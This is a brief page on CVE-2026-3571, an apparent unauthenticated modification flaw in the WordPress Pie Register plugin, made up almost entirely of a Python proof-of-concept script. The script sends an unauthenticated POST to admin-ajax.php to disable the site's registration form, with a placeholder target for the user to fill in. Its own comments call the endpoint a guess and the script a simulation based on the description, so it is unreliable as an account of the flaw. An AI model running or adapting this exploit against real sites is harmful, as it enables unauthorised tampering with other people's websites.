CVE-2026-3571 WordPress Pie Register未授权修改漏洞

#!/usr/bin/python3 import requests def exploit_pie_register(target_url): """ Proof of Concept for CVE-2026-3571 Attempts to change the registration form status without authentication. """ # The vulnerable endpoint might be an AJAX action or a direct function hook # This is a simulation based on the vulnerability description payload = { 'action': 'pie_main', 'status': 'disabled' # or 'enabled' } try: response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=payload) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit_pie_register(target)